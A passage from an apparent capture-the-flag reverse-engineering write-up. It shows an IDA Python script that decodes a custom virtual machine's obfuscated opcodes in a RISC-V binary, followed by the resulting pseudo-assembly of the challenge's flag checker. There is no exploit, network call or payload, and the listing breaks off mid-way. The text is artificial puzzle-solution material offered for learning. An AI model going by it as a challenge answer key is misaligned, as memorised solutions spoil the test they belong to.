</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">721</span>: <span style="color:#fc6a5d">&#39;pop_call_3&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1195</span>: <span style="color:#fc6a5d">&#39;pop a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1401</span>: <span style="color:#fc6a5d">&#39;a4 = stack[-2] | stack[-1]&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1763</span>: <span style="color:#fc6a5d">&#39;a4 = stack[-2] ^ stack[-1]&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3094</span>: <span style="color:#fc6a5d">&#39;a4 = stack[-2] * stack[-1]&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3291</span>: <span style="color:#fc6a5d">&#39;a4 = rol stack[-2] stack[-1]&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3625</span>: <span style="color:#fc6a5d">&#39;decrypt a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3893</span>: <span style="color:#fc6a5d">&#39;a4 = stack[-2] + stack[-1]&#39;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">decode_vm_opcode</span>(stval):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> (<span style="color:#d0bf69">105</span> * (stval ^ <span style="color:#d0bf69">0x420</span>)) &amp; <span style="color:#d0bf69">0xFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>li_regex = re.compile(<span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;li\s*a(.),\s(.*)h&#34;</span>)
</span></span><span style="display:flex;"><span>sd_regex = re.compile(<span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;s(d|b)\s*(a4|zero),\s0\(a(.)\)&#34;</span>)
</span></span><span style="display:flex;"><span>ld_regex = re.compile(<span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;l(d|bu)\s*a.,\s0\(a(.)\)&#34;</span>)
</span></span><span style="display:flex;"><span>lui = <span style="color:#fc6a5d">&#39;lui             a5, 1&#39;</span>
</span></span><span style="display:flex;"><span>addi_regex = re.compile(<span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;addi\s*a.,\sa.,\s(.*)h&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PRINT = <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>insts = []
</span></span><span style="display:flex;"><span>a4 = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>a5 = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>addr = start
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> addr &lt; end:
</span></span><span style="display:flex;"><span>	inst = idc.GetDisasm(addr)
</span></span><span style="display:flex;"><span>	insn = ida_ua.insn_t()
</span></span><span style="display:flex;"><span>	ida_ua.decode_insn(insn, addr)
</span></span><span style="display:flex;"><span>	inst_size = insn.size
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> m := li_regex.<span style="color:#fc5fa3">match</span>(inst):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">1</span>)) == <span style="color:#d0bf69">4</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> a4 is not <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>				<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;li a4&#39; double at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>			a4 = <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">2</span>), <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> a5 is not <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>				<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;li a5&#39; double at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>			a5 = <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">2</span>), <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>		addr += inst_size
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> m := sd_regex.<span style="color:#fc5fa3">match</span>(inst):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">3</span>)) == <span style="color:#d0bf69">4</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> a4 is <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>				<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;sd a4&#39; without a4 at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>			real_func = decode_vm_opcode(a4)
</span></span><span style="display:flex;"><span>			real_func = sd_codes.get(real_func, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;unknown_</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>			a4 = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> a5 is <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>				<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;sd a5&#39; without a5 at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>			real_func = decode_vm_opcode(a5)
</span></span><span style="display:flex;"><span>			real_func = sd_codes.get(real_func, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;unknown_</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>			a5 = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>		inst = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> m := ld_regex.<span style="color:#fc5fa3">match</span>(inst):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">2</span>)) == <span style="color:#d0bf69">4</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> a4 is <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>				<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;ld a4&#39; without a4 at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>			real_func = decode_vm_opcode(a4)
</span></span><span style="display:flex;"><span>			real_func = ld_codes.get(real_func, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;unknown_</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>			a4 = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> a5 is <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>				<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;ld a5&#39; without a5 at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>			real_func = decode_vm_opcode(a5)
</span></span><span style="display:flex;"><span>			real_func = ld_codes.get(real_func, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;unknown_</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>			a5 = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>		inst = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> lui in inst:
</span></span><span style="display:flex;"><span>		addi_inst = idc.GetDisasm(addr+inst_size)
</span></span><span style="display:flex;"><span>		addi_insn = ida_ua.insn_t()
</span></span><span style="display:flex;"><span>		ida_ua.decode_insn(addi_insn, addr+inst_size)
</span></span><span style="display:flex;"><span>		inst_size += addi_insn.size
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		m = addi_regex.<span style="color:#fc5fa3">match</span>(addi_inst)
</span></span><span style="display:flex;"><span>		a4 = <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">1</span>), <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		addr += inst_size
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	insts.append((addr, inst))
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> PRINT:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">: </span><span style="color:#fc6a5d">{</span>inst<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	addr += inst_size
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#39;decomp.txt&#39;</span>, <span style="color:#fc6a5d">&#39;w&#39;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> addr, inst in insts:
</span></span><span style="display:flex;"><span>			f.write(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;loc_</span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)[<span style="color:#d0bf69">2</span>:]<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">: </span><span style="color:#fc6a5d">{</span>inst<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> inst.startswith(<span style="color:#fc6a5d">&#39;j&#39;</span>) or inst.startswith(<span style="color:#fc6a5d">&#39;exit&#39;</span>) or inst.startswith(<span style="color:#fc6a5d">&#39;b&#39;</span>):
</span></span><span style="display:flex;"><span>				f.write(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span></code></pre></div><h3 id="decompiled-code">Decompiled Code</h3>
<p>Now we have a pseudo code that makes sense</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>loc_80100000: addi            sp, sp, -<span style="color:#d0bf69">90</span>h
</span></span><span style="display:flex;"><span>loc_80100004: sd              s0, <span style="color:#d0bf69">88</span>h+<span style="color:#41a1c0">var_s0</span>(sp)
</span></span><span style="display:flex;"><span>loc_80100008: addi            s0, sp, <span style="color:#d0bf69">88</span>h+arg_0
</span></span><span style="display:flex;"><span>loc_80100010: la              a4, aWhatIsTheFlag<span style="color:#960050">#</span> <span style="color:#fc6a5d">&#34;What is the flag?&#34;</span>
</span></span><span style="display:flex;"><span>loc_80100018: print a4
</span></span><span style="display:flex;"><span>loc_80100024: li              a4, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_80100028: push a4
</span></span><span style="display:flex;"><span>loc_80100034: li              a4, <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>loc_80100038: push a4
</span></span><span style="display:flex;"><span>loc_80100044: pop a4
</span></span><span style="display:flex;"><span>loc_80100048: li              a5, <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>loc_8010004c: bne             a4, a5, loc_80100064
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_80100058: pop a4
</span></span><span style="display:flex;"><span>loc_8010005c: li              a5, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_80100060: beq             a4, a5, loc_80100078
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_80100068: la              a4, aWrong<span style="color:#960050">#</span> <span style="color:#fc6a5d">&#34;Wrong&#34;</span>
</span></span><span style="display:flex;"><span>loc_80100070: print a4
</span></span><span style="display:flex;"><span>loc_80100074: j               loc_801009D0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_80100078: nop
</span></span><span style="display:flex;"><span>loc_8010007c: sd              zero, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_10</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100084: li              a4, <span style="color:#d0bf69">15</span>
</span></span><span style="display:flex;"><span>loc_80100088: push_call_1
</span></span><span style="display:flex;"><span>loc_80100094: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_10</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100098: push a4
</span></span><span style="display:flex;"><span>loc_801000a4: la              a4, qword_80101028
</span></span><span style="display:flex;"><span>loc_801000ac: ld              a4, (qword_80101028 - <span style="color:#d0bf69">80101028</span>h)(a4)
</span></span><span style="display:flex;"><span>loc_801000b0: push a4
</span></span><span style="display:flex;"><span>loc_801000c4: a4 = stack[-<span style="color:#d0bf69">2</span>] * stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_801000c8: push a4
</span></span><span style="display:flex;"><span>loc_801000d4: li              a4, <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>loc_801000d8: stack[-<span style="color:#d0bf69">1</span>] rol= a4
</span></span><span style="display:flex;"><span>loc_801000e0: lui             a4, <span style="color:#d0bf69">28</span>EC7h
</span></span><span style="display:flex;"><span>loc_801000e4: slli            a4, a4, <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>loc_801000e8: addi            a4, a4, <span style="color:#d0bf69">2</span>D3h
</span></span><span style="display:flex;"><span>loc_801000ec: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_801000f8: la              a4, qword_80101030
</span></span><span style="display:flex;"><span>loc_80100100: ld              a4, (qword_80101030 - <span style="color:#d0bf69">80101030</span>h)(a4)
</span></span><span style="display:flex;"><span>loc_80100104: stack[-<span style="color:#d0bf69">1</span>] += a4
</span></span><span style="display:flex;"><span>loc_80100110: pop a4
</span></span><span style="display:flex;"><span>loc_80100114: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_18</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100120: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_18</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100124: push a4
</span></span><span style="display:flex;"><span>loc_80100130: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_18</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100134: push a4
</span></span><span style="display:flex;"><span>loc_80100140: li              a4, <span style="color:#d0bf69">2135587861</span>
</span></span><span style="display:flex;"><span>loc_80100148: push a4
</span></span><span style="display:flex;"><span>loc_8010015c: a4 = stack[-<span style="color:#d0bf69">2</span>] + stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100160: push a4
</span></span><span style="display:flex;"><span>loc_8010016c: li              a4, <span style="color:#d0bf69">1859775393</span>
</span></span><span style="display:flex;"><span>loc_80100174: stack[-<span style="color:#d0bf69">1</span>] *= a4
</span></span><span style="display:flex;"><span>loc_80100180: li              a4, <span style="color:#d0bf69">11</span>
</span></span><span style="display:flex;"><span>loc_80100184: stack[-<span style="color:#d0bf69">1</span>] rol= a4
</span></span><span style="display:flex;"><span>loc_80100194: a4 = stack[-<span style="color:#d0bf69">2</span>] ^ stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100198: push a4
</span></span><span style="display:flex;"><span>loc_801001a4: lui             a4, <span style="color:#d0bf69">13</span>C6Fh
</span></span><span style="display:flex;"><span>loc_801001a8: slli            a4, a4, <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>loc_801001ac: addi            a4, a4, -<span style="color:#d0bf69">647</span>h
</span></span><span style="display:flex;"><span>loc_801001b0: push a4
</span></span><span style="display:flex;"><span>loc_801001bc: li              a4, <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>loc_801001c0: stack[-<span style="color:#d0bf69">1</span>] rol= a4
</span></span><span style="display:flex;"><span>loc_801001cc: pop a4
</span></span><span style="display:flex;"><span>loc_801001d0: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_18</span>(s0)
</span></span><span style="display:flex;"><span>loc_801001dc: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_18</span>(s0)
</span></span><span style="display:flex;"><span>loc_801001e0: push a4
</span></span><span style="display:flex;"><span>loc_801001ec: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_18</span>(s0)
</span></span><span style="display:flex;"><span>loc_801001f0: push a4
</span></span><span style="display:flex;"><span>loc_80100204: a4 = stack[-<span style="color:#d0bf69">2</span>] + stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100208: push a4
</span></span><span style="display:flex;"><span>loc_80100214: lui             a4, <span style="color:#d0bf69">37</span>AB7h
</span></span><span style="display:flex;"><span>loc_80100218: slli            a4, a4, <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>loc_8010021c: addi            a4, a4, -<span style="color:#d0bf69">111</span>h
</span></span><span style="display:flex;"><span>loc_80100220: push a4
</span></span><span style="display:flex;"><span>loc_80100230: a4 = stack[-<span style="color:#d0bf69">2</span>] ^ stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100234: push a4
</span></span><span style="display:flex;"><span>loc_80100240: li              a4, <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span>loc_80100244: stack[-<span style="color:#d0bf69">1</span>] rol= a4
</span></span><span style="display:flex;"><span>loc_80100250: lui             a4, <span style="color:#d0bf69">16</span>A53h
</span></span><span style="display:flex;"><span>loc_80100254: slli            a4, a4, <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>loc_80100258: addi            a4, a4, -<span style="color:#d0bf69">5</span>B3h
</span></span><span style="display:flex;"><span>loc_8010025c: stack[-<span style="color:#d0bf69">1</span>] *= a4
</span></span><span style="display:flex;"><span>loc_80100268: li              a4, <span style="color:#d0bf69">1051962371</span>
</span></span><span style="display:flex;"><span>loc_80100270: slli            a4, a4, <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>loc_80100274: stack[-<span style="color:#d0bf69">1</span>] += a4
</span></span><span style="display:flex;"><span>loc_80100280: li              a4, <span style="color:#d0bf69">13</span>
</span></span><span style="display:flex;"><span>loc_80100284: stack[-<span style="color:#d0bf69">1</span>] rol= a4
</span></span><span style="display:flex;"><span>loc_80100294: a4 = stack[-<span style="color:#d0bf69">2</span>] ^ stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100298: push a4
</span></span><span style="display:flex;"><span>loc_8010029c: ld              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_10</span>(s0)
</span></span><span style="display:flex;"><span>loc_801002a0: addi            a5, a5, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_801002a4: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_10</span>(s0)
</span></span><span style="display:flex;"><span>loc_801002ac: pop_call_1
</span></span><span style="display:flex;"><span>loc_801002b0: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_20</span>(s0)
</span></span><span style="display:flex;"><span>loc_801002bc: push a4
</span></span><span style="display:flex;"><span>loc_801002c4: li              a4, <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>loc_801002c8: push_call_1
</span></span><span style="display:flex;"><span>loc_801002d0: li              a4, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_801002d4: push_call_2
</span></span><span style="display:flex;"><span>loc_801002dc: li              a4, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_801002e0: push_call_3
</span></span><span style="display:flex;"><span>loc_801002ec: li              a4, <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span>loc_801002f0: stack[-<span style="color:#d0bf69">1</span>] += a4
</span></span><span style="display:flex;"><span>loc_801002f8: pop_call_3
</span></span><span style="display:flex;"><span>loc_801002fc: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_28</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100304: pop_call_2
</span></span><span style="display:flex;"><span>loc_80100308: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_30</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100310: pop_call_1
</span></span><span style="display:flex;"><span>loc_80100314: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_38</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100320: li              a4, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>loc_80100324: stack[-<span style="color:#d0bf69">1</span>] += a4
</span></span><span style="display:flex;"><span>loc_80100334: pop a4
</span></span><span style="display:flex;"><span>loc_80100338: push_call_1
</span></span><span style="display:flex;"><span>loc_80100340: getchar a4
</span></span><span style="display:flex;"><span>loc_80100344: sb              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_39</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100348: lbu             a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_39</span>(s0)
</span></span><span style="display:flex;"><span>loc_8010034c: andi            a4, a5, <span style="color:#d0bf69">0FF</span>h
</span></span><span style="display:flex;"><span>loc_80100350: li              a5, <span style="color:#d0bf69">10</span>
</span></span><span style="display:flex;"><span>loc_80100354: beq             a4, a5, loc_801003C4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_80100360: lbu             a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_39</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100364: push a4
</span></span><span style="display:flex;"><span>loc_80100370: li              a4, -<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_80100374: push a4
</span></span><span style="display:flex;"><span>loc_80100384: a4 = stack[-<span style="color:#d0bf69">2</span>] ^ stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100388: push a4
</span></span><span style="display:flex;"><span>loc_80100394: li              a4, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_80100398: stack[-<span style="color:#d0bf69">1</span>] += a4
</span></span><span style="display:flex;"><span>loc_801003a4: pop a4
</span></span><span style="display:flex;"><span>loc_801003ac: andi            a4, a4, <span style="color:#d0bf69">0FF</span>h
</span></span><span style="display:flex;"><span>loc_801003b0: encrypt a4
</span></span><span style="display:flex;"><span>loc_801003b8: pop_call_1
</span></span><span style="display:flex;"><span>loc_801003bc: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_48</span>(s0)
</span></span><span style="display:flex;"><span>loc_801003c0: j               loc_801003C8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_801003c4: nop
</span></span><span style="display:flex;"><span>loc_801003c8: li              a5, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_801003cc: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_50</span>(s0)
</span></span><span style="display:flex;"><span>loc_801003d4: li              a4, <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span>loc_801003d8: push_call_1
</span></span><span style="display:flex;"><span>loc_801003e4: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_50</span>(s0)
</span></span><span style="display:flex;"><span>loc_801003e8: push a4
</span></span><span style="display:flex;"><span>loc_801003f4: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_50</span>(s0)
</span></span><span style="display:flex;"><span>loc_801003f8: stack[-<span style="color:#d0bf69">1</span>] *= a4
</span></span><span style="display:flex;"><span>loc_8010040c: a4 = rol stack[-<span style="color:#d0bf69">2</span>] stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100410: push a4
</span></span><span style="display:flex;"><span>loc_8010041c: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_50</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100420: push a4
</span></span><span style="display:flex;"><span>loc_8010042c: li              a4, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_80100430: stack[-<span style="color:#d0bf69">1</span>] += a4
</span></span><span style="display:flex;"><span>loc_8010043c: pop a4
</span></span><span style="display:flex;"><span>loc_80100440: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_50</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100448: la              a4, qword_80101038
</span></span><span style="display:flex;"><span>loc_80100450: ld              a4, (qword_80101038 - <span style="color:#d0bf69">80101038</span>h)(a4)
</span></span><span style="display:flex;"><span>loc_80100454: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_80100460: pop a4
</span></span><span style="display:flex;"><span>loc_80100464: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_58</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100470: pop a4
</span></span><span style="display:flex;"><span>loc_80100474: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_60</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100480: li              a4, <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>loc_80100484: push a4
</span></span><span style="display:flex;"><span>loc_80100490: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_58</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100494: push a4
</span></span><span style="display:flex;"><span>loc_8010049c: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_60</span>(s0)
